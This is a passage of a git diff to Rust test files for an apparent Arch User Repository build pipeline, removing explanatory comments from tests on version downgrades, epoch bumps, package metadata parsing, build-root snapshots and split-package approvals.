assert!(version.body.contains("1.0-1 -> 0.9-1"), "{:?}", version.body);
assert!(pkgver::is_downgrade("1.0-1", "0.9-1"));
- // A downgrade is a decision, not an automatic rebuild.
assert_eq!(aur_build::db::index_version(&env.db, "plain-make").unwrap().unwrap(), "1.0-1");
}
#[test]
fn an_epoch_bump_is_an_upgrade_even_though_the_version_went_down() {
- // The classic "reset the version, add an epoch" move.
let (env, fx) = env_with_fixture("epoch-bump");
publish(&env, "epoch-bump");
append_line(&fx, "epoch=1");
@@ -275,8 +248,6 @@ fn full_version_round_trips_through_split() {
// --- helpers -------------------------------------------------------------
-/// Detect, render the diff, approve and build, so the next candidate has a real
-/// accepted release behind it (I1).
fn publish(env: &Env, name: &str) {
let c = detect_raw(env, name);
let dd = diff::render_and_store(&env.db, &env.cfg, &c).unwrap();
@@ -287,7 +258,6 @@ fn publish(env: &Env, name: &str) {
pipeline::run(&env.cfg, &env.db, &id).unwrap();
}
-/// Detect and render, returning the candidate ready for a review page.
fn detect(env: &Env, name: &str) -> CandidateRow {
detect_raw(env, name)
}
@@ -310,9 +280,6 @@ fn panel<'a>(panels: &'a [diff::Panel], name: &str) -> &'a diff::Panel {
panels.iter().find(|p| p.name == name).unwrap_or_else(|| panic!("no {name} panel"))
}
-/// Add a top-level declaration the fixture did not ship with (an `epoch=` line)
-/// and commit it. It has to go with the other top-level assignments: after a
-/// `package_*()` function it would be inside the function body and mean nothing.
fn append_line(fx: &Fixture, line: &str) {
let path = fx.aur.join("PKGBUILD");
let text = std::fs::read_to_string(&path).unwrap();
diff --git a/tests/world.rs b/tests/world.rs
index 3a7dd54..7de4f85 100644
--- a/tests/world.rs
+++ b/tests/world.rs
@@ -5,8 +5,6 @@ use aur_build::pipeline;
use aur_build::pkginfo;
use common::*;
-/// Build a real `.pkg.tar.zst`: zstd-compressed tar with the two metadata files
-/// inside, as makepkg lays them out. `None` means the file is absent.
fn make_archive(dir: &std::path::Path, name: &str, pkginfo: Option<&str>, buildinfo: Option<&str>) -> std::path::PathBuf {
let path = dir.join(format!("{name}.pkg.tar.zst"));
let enc = std::io::BufWriter::new(std::fs::File::create(&path).unwrap());
@@ -75,7 +73,6 @@ fn pkginfo_fields_are_parsed_from_the_archive_itself() {
assert_eq!(meta.version, "1.0-1");
assert_eq!(meta.arch, "x86_64");
assert_eq!(meta.desc, "a synthetic package");
- // Repeated keys are lists, not last-one-wins.
assert_eq!(meta.license, vec!["MIT", "Apache"]);
assert_eq!(meta.depends, vec!["glibc", "openssl>=1.1"]);
assert_eq!(meta.makedepends, vec!["cmake"]);
@@ -99,34 +96,25 @@ fn the_buildinfo_installed_block_is_parsed_line_by_line() {
],
"the installed block must come through exactly"
);
- // The block ends at the first unindented line; `sigfile` is not an install.
assert!(!installed.iter().any(|i| i.name == "sigfile"));
}
#[test]
fn a_package_without_a_pkginfo_is_refused_not_defaulted() {
- // Ingest decides what the index claims about a package. Guessing a name from
- // the filename would let a mislabeled artifact into a signed repo.
let dir = tempfile::tempdir().unwrap();
let path = make_archive(dir.path(), "mystery", None, Some(BUILDINFO));
let bytes = std::fs::read(&path).unwrap();
assert!(pkginfo::pkginfo_text(&bytes).is_err(), "an archive with no .PKGINFO must not parse");
- // And a truncated archive is an error too, not an empty success.
assert!(pkginfo::pkginfo_text(b"not even a zstd stream").is_err());
}
#[test]
fn the_world_snapshot_is_intersected_with_our_index_at_ingest_time() {
- // §10.1 / I12. The fixture's build root contains glibc, pacman, binutils and
- // plain-make; only plain-make is ours, and only plain-make may be recorded.
let (env, fx) = env_with_fixture("plain-make");
- // The first build has no world of ours to record — the honest answer, not an
- // empty lie about glibc.
publish(&env, "plain-make");
let first = world_of_last_build(&env);
assert!(first.is_empty(), "nothing of ours existed for the first build: {first:?}");
- // Now plain-make is in the index, so a later build records it and nothing else.
let mut manifest = fx.manifest_json();
manifest["installed"] = serde_json::json!([
{ "name": "glibc", "version": "2.39-1", "arch": "x86_64" },
@@ -145,7 +133,6 @@ fn the_world_snapshot_is_intersected_with_our_index_at_ingest_time() {
"{foreign} is not ours and must not be in the snapshot — an unfiltered world makes every package permanently stale"
);
}
- // And the snapshot is attached to the build, not computed later.
assert_eq!(
env.query_i64("SELECT count(*) FROM build WHERE state='succeeded' AND world_snapshot_id IS NULL", &[]),
Some(0),
@@ -155,7 +142,6 @@ fn the_world_snapshot_is_intersected_with_our_index_at_ingest_time() {
#[test]
fn a_split_pkgbase_is_one_approval_and_many_index_rows() {
- // §3: one recipe, several packages, one human decision.
let (env, _fx) = env_with_fixture("split-pkgbase");
publish(&env, "split-pkgbase");
let rows: Vec<String> = env
@@ -178,7 +164,6 @@ fn a_split_pkgbase_is_one_approval_and_many_index_rows() {
rows.iter().all(|r| r.contains("art=Some")),
"every index row needs its own artifact: {rows:?}"
);
- // One approval, however many packages came out of it.
assert_eq!(env.query_i64("SELECT count(*) FROM approval", &[]), Some(1));
assert_eq!(env.query_i64("SELECT count(*) FROM release", &[]), Some(1));
}